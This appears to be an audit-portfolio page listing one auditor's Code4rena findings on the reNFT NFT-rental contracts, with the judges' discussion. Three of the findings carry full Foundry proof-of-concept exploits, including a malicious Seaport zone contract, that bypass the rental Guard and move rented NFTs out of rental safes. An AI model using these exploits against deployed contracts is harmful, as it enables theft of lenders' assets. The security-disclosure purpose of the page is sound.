reNFT - Beepidibop's results

Collateral-free, permissionless, and highly customizable EVM NFT rentals.

General Information

Platform: Code4rena

Start Date: 08/01/2024

Pot Size: $83,600 USDC

Total HM: 23

Participants: 116

Period: 10 days

Judge: 0xean

Total Solo HM: 1

Id: 317

League: ETH

reNFT

Findings Distribution

Researcher Performance

Rank: 8/116

Findings: 4

Award: $1,873.13

🌟 Selected for report: 0

🚀 Solo Findings: 0

Findings Information

Labels

bug
3 (High Risk)
satisfactory
duplicate-593

Awards

88.0882 USDC - $88.09

External Links

Lines of code

https://github.com/re-nft/smart-contracts/blob/main/src/policies/Guard.sol#L309-L345

Vulnerability details

Guard: Guard Can Be Bypassed with Fallback Handlers

Guard:checkTransaction() does not check whether the user tx will change the Fallback Handler. Exploiters can change the Fallback Handler and use it to bypass the Guard policy.

This means the protocol will no longer be able to control a rental safe. Any protocol/lender assets within the safe is considered lost.

Here's Gnosis' implementation of Fallback Manager, the Fallback Manager calls the handler directly. So, if the handler is changed to the NFT's contract address, exploiters can use this trick to call transferFrom() directly, bypassing the Guard policy

Proof-of-Concept

Here's the PoC code, you can place it in test/unit/ChangeFallbackToBypassGuard.t.sol and run forge test --match-contract Change_Fallback_To_Bypass_Guard -vv It should return something like this:

// SPDX-License-Identifier: BUSL-1.1 pragma solidity ^0.8.20; import "forge-std/console.sol"; import {ISafe} from "@src/interfaces/ISafe.sol"; import {BaseTestWithoutEngine} from "@test/BaseTest.sol"; import {SafeUtils} from "@test/utils/GnosisSafeUtils.sol"; import {RentalAssetUpdate, RentalId} from "@src/libraries/RentalStructs.sol"; import {RentalUtils} from "@src/libraries/RentalUtils.sol"; contract Change_Fallback_To_Bypass_Guard is BaseTestWithoutEngine {     uint256 rentedTokenId;     function setUp() public override {         super.setUp();         // mint the ERC721 to Alice's safe         rentedTokenId = erc721s[0].totalSupply();         erc721s[0].mint(address(alice.safe));         // Create a rentalId array         RentalAssetUpdate[] memory rentalAssets = new RentalAssetUpdate[](1);         rentalAssets[0] = RentalAssetUpdate(             RentalUtils.getItemPointer(                 address(alice.safe),                 address(erc721s[0]),                 rentedTokenId             ),             1         );         // Mark the rental as actively rented in storage         _markRentalsAsActive(rentalAssets);     }     // helper function to mark rental IDs as active     function _markRentalsAsActive(RentalAssetUpdate[] memory rentalAssets) internal {         vm.prank(address(create));         STORE.addRentals(keccak256(abi.encode("someRentalOrderHash")), rentalAssets);     }     function test_ChangeFallbackToBypassGuard() public {         // check if the NFT is in the safe         console.log("checking if the NFT is in the safe initially...");         address whereIsNftBefore = erc721s[0].ownerOf(rentedTokenId);         assertTrue(             whereIsNftBefore == address(alice.safe),             "Safe does not have the NFT initially!"         );         console.log("yep, it does");         // change the fallback handler to one that changes guard on the safe         _changeFallback();         // transfer a rented NFT away from the safe         _transferNftAway();         // check if the NFT is still in the safe         console.log("checking if the NFT is in the safe after...");         address whereIsNftAfter = erc721s[0].ownerOf(rentedTokenId);         assertTrue(             whereIsNftAfter == address(alice.safe),             "The NFT is stolen away from the safe!"         );     }     function _changeFallback() public {         console.log("changing fallback handler");         // create safe transaction for changing the fallback manager         bytes memory transaction = abi.encodeWithSignature(             "setFallbackHandler(address)",             address(erc721s[0])         );         // sign the safe transaction         bytes memory transactionSignature = SafeUtils.signTransaction(             address(alice.safe),             alice.privateKey,             address(alice.safe),             transaction         );         // impersonate the safe owner         vm.prank(alice.addr);         // Execute the transaction on Alice's safe         SafeUtils.executeTransaction(             address(alice.safe),             address(alice.safe),             transaction,             transactionSignature         );         // stop impersonating the safe owner         vm.stopPrank();     }     function _transferNftAway() public {         console.log("stealing NFT...");         // using the fallback to call transfer the NFT         address(alice.safe).call(             abi.encodeWithSignature(                 "transferFrom(address,address,uint256)",                 address(alice.safe),                 address(1),                 0             )         );     } }

Tools Used

Foundry forge, project repo

Recommendation

Disallow changing Fallback Handler in Guard:checkTransaction()

https://github.com/re-nft/smart-contracts/blob/main/src/libraries/RentalConstants.sol https://github.com/re-nft/smart-contracts/blob/main/src/policies/Guard.sol#L309-L345

Assessed type

Access Control

#0 - c4-pre-sort

2024-01-21T18:14:16Z

141345 marked the issue as duplicate of #593

#1 - c4-judge

2024-01-28T18:25:59Z

0xean marked the issue as satisfactory

Findings Information

🌟 Selected for report: sin1st3r__

Also found by: Beepidibop, hash

Labels

bug
3 (High Risk)
insufficient quality report
satisfactory
duplicate-588

Awards

1559.4717 USDC - $1,559.47

External Links

Lines of code

https://github.com/re-nft/smart-contracts/blob/main/src/policies/Guard.sol#L309-L345 https://github.com/re-nft/smart-contracts/blob/main/src/policies/Create.sol#L733

Vulnerability details

Guard: Guard Can Be Bypassed By Batching the Lending Tx with a Malicious Tx

Seaport allows custom zone contracts to assert orders are valid with validateOrder(). However, this can be used to pre-approve NFTs in rental safes.

The exploit flow is like this:

  1. Lender creates a normal lending order
  2. Exploiter creates a malicious Seaport order
    1. The malicious order will call validateOrder() on a malicious zone contract that has a pre-signed Gnosis safe tx that calls approve() on the NFT contract
    2. All the NFTs are transferred before any validateOrder() is called, an exploiter can order it such that his exploit validateOrder() will be called before Creator:validateOrder().
    3. This means the NFT will be in the rental safe, but Creator hasn't registered the rental yet.
    4. The malicious zone contract then submits a pre-signed approve() tx. Guard:checkTransaction() is bypassed because Creator doesn't think the NFT is lent out yet. But approve() succeeds because the NFT is already in the rental safe.
  3. The exploiter can then transfer the NFT out from the rental safe at any time.
    1. The transferring out can be done atomically by placing another malicious tx behind the reNFT lending tx.
    2. The PoC test split it in two txs so it's easier for the console logs to show the NFT reached the rental safe, Creator registered the rental, then the exploiter transferred the NFT out of the safe.

This means the protocol will no longer be able to control any rentals. Any assets in a rental listing can be stolen.

Here's Seaport's comments on when the validateOrder() calls are actually performed. In this case it's called within _assertRestrictedAdvancedOrderValidity(), after all the items have already been transferred in line 732

Proof-of-Concept

Here's the PoC code, you can place it in test/unit/PreApproveToBypassGuard.t.sol and run forge test --match-contract Preapprove_To_Bypass_Guard -vv It should return something like this:

// SPDX-License-Identifier: BUSL-1.1 pragma solidity ^0.8.20; import "forge-std/console.sol"; import {ISafe} from "@src/interfaces/ISafe.sol"; import {ZoneInterface} from "@src/interfaces/IZone.sol"; import {MockERC721} from "@test/mocks/tokens/standard/MockERC721.sol"; import {ECDSA} from "@openzeppelin-contracts/utils/cryptography/ECDSA.sol"; import {Seaport} from "@seaport-core/Seaport.sol"; import {     Order,     AdvancedOrder,     FulfillmentComponent,     Fulfillment,     ItemType as SeaportItemType,     CriteriaResolver,     OfferItem,     ConsiderationItem,     OrderComponents,     OrderType as SeaportOrderType } from "@seaport-types/lib/ConsiderationStructs.sol"; import {ZoneParameters} from "@seaport-core/lib/rental/ConsiderationStructs.sol"; import {     AdvancedOrderLib,     ConsiderationItemLib,     FulfillmentComponentLib,     FulfillmentLib,     OfferItemLib,     OrderComponentsLib,     OrderLib,     OrderParametersLib,     SeaportArrays,     ZoneParametersLib } from "@seaport-sol/SeaportSol.sol"; import {BaseTest} from "@test/BaseTest.sol"; import {SafeUtils} from "@test/utils/GnosisSafeUtils.sol"; import {RentalAssetUpdate, RentalId} from "@src/libraries/RentalStructs.sol"; import {RentalUtils} from "@src/libraries/RentalUtils.sol"; import {OrderType, OrderMetadata, RentalOrder} from "@src/libraries/RentalStructs.sol"; contract Preapprove_To_Bypass_Guard is BaseTest {     using OfferItemLib for OfferItem;     using ConsiderationItemLib for ConsiderationItem;     using OrderComponentsLib for OrderComponents;     using OrderLib for Order;     using ECDSA for bytes32;     address public maliciousZone;     function setUp() public override {         super.setUp();     }     // in this example, Alice is the victim, Bob and Carol are the exploiter's addresses     function test_PreapproveToBypassGuard() public {         // setup malicious zone so we can preapprove the NFT to Bob's address         _setupPreapprove();         // approve and rent the NFT from Alice         _approveAndRentNft();         // check if the NFT is in the safe         console.log("checking if the NFT is in the safe initially...");         address whereIsNftBefore = erc721s[0].ownerOf(0);         assertTrue(             whereIsNftBefore == address(bob.safe),             "Safe does not have the NFT initially!"         );         console.log("yep, it is");         // transfer a rented NFT away from the safe         _transferNftAway();         // check if the NFT is still in the safe         console.log("checking if the NFT is in the safe after...");         address whereIsNftAfter = erc721s[0].ownerOf(0);         assertTrue(             whereIsNftAfter == address(bob.safe),             "The NFT is stolen away from the safe!"         );     }     function _setupPreapprove() public {         console.log("preparing the malicious zone for preapproval...");         // create safe transaction for preapproval         bytes memory transaction = abi.encodeWithSignature(             "approve(address,uint256)",             bob.addr,             0         );         // sign the safe transaction         bytes memory transactionSignature = SafeUtils.signTransaction(             address(bob.safe),             bob.privateKey,             address(erc721s[0]),             transaction         );         maliciousZone = address(             new MaliciousZone(                 bob.addr,                 address(bob.safe),                 address(erc721s[0]),                 transaction,                 transactionSignature,                 seaport             )         );     }     function _approveAndRentNft() public {         console.log("renting and stealing an NFT from Alice...");         _createAliceOrder();         _createExploitOrder();         // creating seaport orders         AdvancedOrder[] memory orders = new AdvancedOrder[](2);         orders[0] = ordersToFulfill[ordersToFulfill.length - 1].advancedOrder; // exploit         orders[1] = ordersToFulfill[ordersToFulfill.length - 2].advancedOrder; // alice         // offer componenets         FulfillmentComponent[] memory offerComponents0 = new FulfillmentComponent[](1);         offerComponents0[0] = FulfillmentComponent(0, 0);         FulfillmentComponent[] memory offerComponents1 = new FulfillmentComponent[](1);         offerComponents1[0] = FulfillmentComponent(1, 0);         FulfillmentComponent[][]             memory offerComponentsArray = new FulfillmentComponent[][](2);         offerComponentsArray[0] = offerComponents0;         offerComponentsArray[1] = offerComponents1;         // consideration componenets         FulfillmentComponent[]             memory considerationComponents0 = new FulfillmentComponent[](1);         considerationComponents0[0] = FulfillmentComponent(0, 0);         FulfillmentComponent[]             memory considerationComponents1 = new FulfillmentComponent[](1);         considerationComponents1[0] = FulfillmentComponent(1, 0);         FulfillmentComponent[][]             memory considerationComponentsArray = new FulfillmentComponent[][](2);         considerationComponentsArray[0] = considerationComponents0;         considerationComponentsArray[1] = considerationComponents1;         console.log("calling Seaport:fulfillAvailableAdvancedOrders()...");         vm.startPrank(bob.addr);         seaport.fulfillAvailableAdvancedOrders(             orders,             new CriteriaResolver[](0),             offerComponentsArray,             considerationComponentsArray,             conduitKey,             address(bob.safe),             2         );         vm.stopPrank();         // assert that the ERC721 is in the rental wallet of the fulfiller         assertEq(erc721s[0].ownerOf(0), address(bob.safe));     }     function _createAliceOrder() public {         console.log("creating alice's normal lending order...");         // create a BASE order         createOrder({             offerer: alice,             orderType: OrderType.BASE,             erc721Offers: 1,             erc1155Offers: 0,             erc20Offers: 0,             erc721Considerations: 0,             erc1155Considerations: 0,             erc20Considerations: 1         });         // finalize the order creation         (             Order memory aliceOrder,             bytes32 orderHash,             OrderMetadata memory metadata         ) = finalizeOrder();         // create an order fulfillment         createOrderFulfillment({             _fulfiller: bob,             order: aliceOrder,             orderHash: orderHash,             metadata: metadata         });         resetOrderToCreate();     }     function _createExploitOrder() public {         console.log("creating malicious order...");         // create an exploit order         // Define a standard OrderComponents struct with the malicious zone         OrderComponentsLib             .empty()             .withOrderType(SeaportOrderType.FULL_RESTRICTED)             .withZone(address(maliciousZone))             .withStartTime(block.timestamp)             .withEndTime(block.timestamp + 100)             .withSalt(123456789)             .withConduitKey(conduitKey)             .saveDefault("malicious");         orderToCreate.offerer = carol;         orderToCreate.offerItems.push(             OfferItemLib                 .empty()                 .withItemType(SeaportItemType.ERC721)                 .withToken(address(erc721s[1]))                 .withIdentifierOrCriteria(usedOfferERC721s[1])                 .withStartAmount(1)                 .withEndAmount(1)         );         // mint an erc721 to the offerer         erc721s[1].mint(orderToCreate.offerer.addr);         // update the used token so it cannot be used again in the same test         usedOfferERC721s[1]++;         // create the consideration item         orderToCreate.considerationItems.push(             ConsiderationItemLib                 .empty()                 .withRecipient(address(ESCRW))                 .withItemType(SeaportItemType.ERC20)                 .withToken(address(erc20s[0]))                 .withStartAmount(100)                 .withEndAmount(100)         );         orderToCreate.metadata.orderType = OrderType.BASE;         orderToCreate.metadata.rentDuration = 500;         orderToCreate.metadata.emittedExtraData = new bytes(0);         OrderComponents memory orderComponents = OrderComponentsLib             .fromDefault("malicious")             .withOfferer(carol.addr)             .withOffer(orderToCreate.offerItems)             .withConsideration(orderToCreate.considerationItems)             .withCounter(seaport.getCounter(carol.addr));         bytes32 exploitOrderHash = seaport.getOrderHash(orderComponents);         bytes memory signature = _signOrder(carol.privateKey, exploitOrderHash);         Order memory exploitOrder = OrderLib             .empty()             .withParameters(orderComponents.toOrderParameters())             .withSignature(signature);         // create an order fulfillment         createOrderFulfillment({             _fulfiller: bob,             order: exploitOrder,             orderHash: exploitOrderHash,             metadata: orderToCreate.metadata         });     }     function _signOrder(         uint256 signerPrivateKey,         bytes32 orderHash     ) private view returns (bytes memory signature) {         // fetch domain separator from seaport         (, bytes32 domainSeparator, ) = seaport.information();         // sign the EIP-712 digest         (uint8 v, bytes32 r, bytes32 s) = vm.sign(             signerPrivateKey,             domainSeparator.toTypedDataHash(orderHash)         );         // encode the signature         signature = abi.encodePacked(r, s, v);     }     function _transferNftAway() public {         console.log("stealing NFT from the rental safe...");         // impersonate the safe owner         vm.prank(bob.addr);         // transfer the pre-approved NFT away         erc721s[0].transferFrom(address(bob.safe), bob.addr, 0);     } } contract MaliciousZone {     address public bob;     address public bobSafe;     address public erc721;     bytes public transaction;     bytes public transactionSignature;     Seaport public seaport;     constructor(         address _bob,         address _bobSafe,         address _erc721,         bytes memory _transaction,         bytes memory _transactionSignature,         Seaport _seaport     ) {         bob = _bob;         bobSafe = _bobSafe;         erc721 = _erc721;         transaction = _transaction;         transactionSignature = _transactionSignature;         seaport = _seaport;     }     function validateOrder(         ZoneParameters calldata zoneParams     ) external returns (bytes4 validOrderMagicValue) {         // Execute the approval tx on Bob's safe         SafeUtils.executeTransaction(             address(bobSafe),             address(erc721),             transaction,             transactionSignature         );         // Return the selector of validateOrder as the magic value.         validOrderMagicValue = ZoneInterface.validateOrder.selector;     } }

Tools Used

Foundry forge, project repo

Recommendation

Clear approvals on a newly registered NFT. You can add it to Create:validateOrder().

OR

Have a contract receive the NFT before sending it to the rental safe after Create:validateOrder() is called. Since this exploit can only happen after the NFT is in the rental safe but before Create:validateOrder() is called.

https://github.com/re-nft/smart-contracts/blob/main/src/policies/Guard.sol#L309-L345 https://github.com/re-nft/smart-contracts/blob/main/src/policies/Create.sol#L733

Assessed type

Access Control

#0 - c4-pre-sort

2024-01-21T18:24:02Z

141345 marked the issue as insufficient quality report

#1 - 0xean

2024-01-28T19:18:42Z

@c4-sponsor would be great to get your opinion on this one, I believe it to be out of scope due to the reliance on a malicious zone contract but would be good to get your thoughts.

#2 - Alec1017

2024-01-29T18:28:06Z

Took a look at this PoC. I believe its in scope and it has the correct severity level. The malicious zone contract is used to allow the rental safe to gain execution control flow over the rented asset before the ReNFT zone contract is invoked.

Therefore, the malicious zone could call the safe to approve some address before the ReNFT guard contract has enough time to add the rented asset to its storage to prevent execution of approvals

#3 - c4-judge

2024-01-29T21:54:50Z

0xean marked the issue as satisfactory

#4 - c4-judge

2024-01-29T22:13:22Z

0xean marked the issue as selected for report

#5 - 10xhash

2024-01-31T09:08:39Z

The underlying issue is the ineffective guard when an attacker gains control of the execution after the asset has been transferred to the rental wallet but the rental has not been registered. Both #588 and #273 reports the same

#6 - stalinMacias

2024-01-31T16:42:14Z

@10xhash Both reports have nothing to do with eachother. They may share similar mechanism of bypassing the guard but #588 has absolutely nothing to do with ERC777. #588 allows for the hijacking of tokens regardless or not ERC777 is utilized.

#7 - 10xhash

2024-01-31T17:59:19Z

All 3 use different mechanisms (ERC777 callback, ERC1155 callback and additional zone callback) to exploit the same vulnerability that I have mentioned in the previous comment With the mentioned fix of transferring the rental asset after registering the order, all 3 issues would be fixed

#8 - stalinMacias

2024-01-31T19:27:28Z

All three reports are different as they utilize different mechanisms, different ways of exploitation and all 3 have their own unique impacts and pre-conditions. The ERC777 vulnerability for example requires ERC777 to be a consideration item which would be rare. #588 allows for the hijacking of ERC1155 assets. This one allows an attacker to hijack both types of tokens, and is discussing the danger of letting a malicious zone callback be executed before the legit ones.

Every report/bug made the dev aware of a certain blindspot that he needs to take extra care when working with the project, and the dev may even choose to fix one or two of these issues in a particular way.

Just because there is a slight overlap between multiple vulnerabilities doesn't mean you should batch all of them in a single bug report and call it a day.

#9 - 0xean

2024-02-01T11:14:38Z

I believe that #588 #87 and #462 should be duplicates. They are all valid, but exploit the same underlying problem which is that execution control is lost prior to the assets being properly registered. Fixing this would resolve all of these issues.

#462

ERC777 tokens allow callbacks to be setup when tokens are transferred from an account. This allows an attacker to use the rented asset before it has configured correctly.

#87

Since this exploit can only happen after the NFT is in the rental safe but before Create:validateOrder() is called.

#588

The main problem is that the token transferral occurs before the rental is registered,

#10 - c4-judge

2024-02-01T11:16:05Z

0xean marked the issue as duplicate of #588

#11 - c4-judge

2024-02-01T15:57:06Z

0xean marked the issue as not selected for report

Findings Information

🌟 Selected for report: serial-coder

Also found by: 0xAlix2, AkshaySrivastav, Beepidibop, EV_om, haxatron, kaden, mussucal, rbserver, zzzitron

Labels

bug
3 (High Risk)
satisfactory
edited-by-warden
duplicate-565

Awards

223.7671 USDC - $223.77

External Links

Lines of code

https://github.com/re-nft/smart-contracts/blob/main/src/libraries/RentalConstants.sol#L62 https://github.com/re-nft/smart-contracts/blob/main/test/unit/Guard/CheckTransaction.t.sol#L366-L370

Vulnerability details

Guard: checkTransaction() Will Allow Disabling Non-Whitelisted Modules Such as the Stop Module

The gnosis_safe_disable_module_offset in RenstalConstants.sol points to prevModule instead of module. Guard:checkTransaction() currently checks if the prevModule is the whitelisted module when it should be checking if module is the whitelisted one.

This can disable the Stop module by enabling a whitelisted module right after it. This is because prevModule is actually the module enabled directly after module in Gnosis Safe's implementation.

So as long as reNFT whitelists any module, even non-malicious ones, the Stop module can be removed from Rental Safes.

The Stop module is in charge of reclaiming the NFT for the lender. The lent NFT can't be reclaimed without it.

Here's the current implementation for byte offsets in RenstalConstants.sol. The function signature has two fields: disableModule(address prevModule, address module). So the offset should point to the second input (0x44 instead of 0x24). There's an extra 0x20 because of the way _loadValueFromCalldata() is implemented (0x24 would be the first input instead of 0x04 because the calldata is processed as bytes memory).

And here's the Gnosis Safe implementation confirming the input order of prevModule and module.

This error wasn't picked up because CheckTransaction.t.sol assumed the ABI for disableModule(address,address) accepted only one input when it should have two.

Proof-of-Concept

Here's the PoC code, you can place it in test/unit/DisableStopPoc.t.sol and run forge test --match-contract Disable_Top_PoC_Test -vv It should return something like this:

// SPDX-License-Identifier: BUSL-1.1 pragma solidity ^0.8.20; import "forge-std/console.sol"; import {ISafe} from "@src/interfaces/ISafe.sol"; import {BaseTestWithoutEngine} from "@test/BaseTest.sol"; import {SafeUtils} from "@test/utils/GnosisSafeUtils.sol"; contract Disable_Top_PoC_Test is BaseTestWithoutEngine {     // test addresses     address constant EXTENSION = TEST_ADDR_2;     function setUp() public override {         super.setUp();     }     function test_DisableStopModule() public {         // check if Stop is a module for the safe         console.log("checking if the safe has the Stop module initially...");         (, bytes memory data) = address(alice.safe).staticcall(             abi.encodeWithSignature("isModuleEnabled(address)", address(stop))         );         assertTrue(abi.decode(data, (bool)), "Safe does not have Stop enabled initially!");         console.log("yep, it does");         // the project whitelists any module         _whitelistNewModule();         // enable the whitelisted module on the safe as the safe's owner         _enableWhitelistedModuleOnSafe();         // diable the newly enabled module as the safe's owner         _disableStopModule();         // check if Stop is still a module for the safe         console.log("checking if the safe has the Stop module afterwards...");         (, data) = address(alice.safe).staticcall(             abi.encodeWithSignature("isModuleEnabled(address)", address(stop))         );         assertTrue(abi.decode(data, (bool)), "Safe's Stop has been disabled!");     }     function _whitelistNewModule() public {         console.log("whitelisting a new module as admin...");         // impersonate the admin admin         vm.prank(deployer.addr);         // enable this address to be added as a module by rental safes         admin.toggleWhitelistExtension(EXTENSION, true);         // assert the address is whitelisted         assertTrue(STORE.whitelistedExtensions(EXTENSION));         // stop impersonating the admin admin         vm.stopPrank();     }     function _enableWhitelistedModuleOnSafe() public {         console.log("safe owner enabling the new module...");         // create safe transaction for enabling a module         bytes memory transaction = abi.encodeWithSelector(             ISafe.enableModule.selector,             address(EXTENSION)         );         // sign the safe transaction         bytes memory transactionSignature = SafeUtils.signTransaction(             address(alice.safe),             alice.privateKey,             address(alice.safe),             transaction         );         // impersonate the safe owner         vm.prank(alice.addr);         // Execute the transaction on Alice's safe         SafeUtils.executeTransaction(             address(alice.safe),             address(alice.safe),             transaction,             transactionSignature         );         // stop impersonating the safe owner         vm.stopPrank();     }     function _disableStopModule() public {         console.log("safe owner disabling the stop module...");         // create safe transaction for disabling the stop module         bytes memory transaction = abi.encodeWithSelector(             ISafe.disableModule.selector,             address(EXTENSION),             address(stop)         );         // sign the safe transaction         bytes memory transactionSignature = SafeUtils.signTransaction(             address(alice.safe),             alice.privateKey,             address(alice.safe),             transaction         );         // impersonate the safe owner         vm.prank(alice.addr);         // Execute the transaction on Alice's safe         SafeUtils.executeTransaction(             address(alice.safe),             address(alice.safe),             transaction,             transactionSignature         );         // stop impersonating the safe owner         vm.stopPrank();     } }

Tools Used

Foundry forge, project repo

Recommendation

Correct gnosis_safe_disable_module_offset to 0x44 in RentalConstant.sol

https://github.com/re-nft/smart-contracts/blob/main/src/libraries/RentalConstants.sol#L62 https://github.com/re-nft/smart-contracts/blob/main/test/unit/Guard/CheckTransaction.t.sol#L366-L370

Assessed type

Invalid Validation

#0 - c4-pre-sort

2024-01-21T17:41:41Z

141345 marked the issue as duplicate of #565

#1 - c4-judge

2024-01-28T21:34:17Z

0xean marked the issue as satisfactory

#2 - c4-judge

2024-02-01T11:03:23Z

0xean marked the issue as unsatisfactory: Out of scope

#3 - c4-judge

2024-02-02T18:24:40Z

0xean marked the issue as satisfactory

Awards

1.8029 USDC - $1.80

Labels

bug
2 (Med Risk)
satisfactory
duplicate-239

External Links

Lines of code

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/packages/Signer.sol#L394-L400 https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/packages/Signer.sol#L406

Vulnerability details

Signer: Some EIP-712 Type Hashes Don't Follow the Standard

EIP-712 specifies that

If the struct type references other struct types (and these in turn reference even more struct types), then the set of referenced struct types is collected, sorted by name and appended to the encoding. An example encoding is Transaction(Person from,Person to,Asset tx)Asset(address token,uint256 amount)Person(address wallet,string name). link

There are a few type hashes that don't include all of the referenced struct type strings or don't have them in the right order. This can mean dapps that implement the correct hashes won't be able to interact with the protocol.

Here is a list of type strings that don't follow the standard:

  • rentPayloadTypeHash - missing Hook, structs not ordered alphabetically link
  • orderMetadataTypeHash - missing Hook link

Recommendation

Correct the type hashes.

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/packages/Signer.sol#L394-L400 https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/packages/Signer.sol#L406

Assessed type

Context

#0 - c4-pre-sort

2024-01-21T17:51:14Z

141345 marked the issue as duplicate of #239

#1 - c4-judge

2024-01-28T21:06:01Z

0xean marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter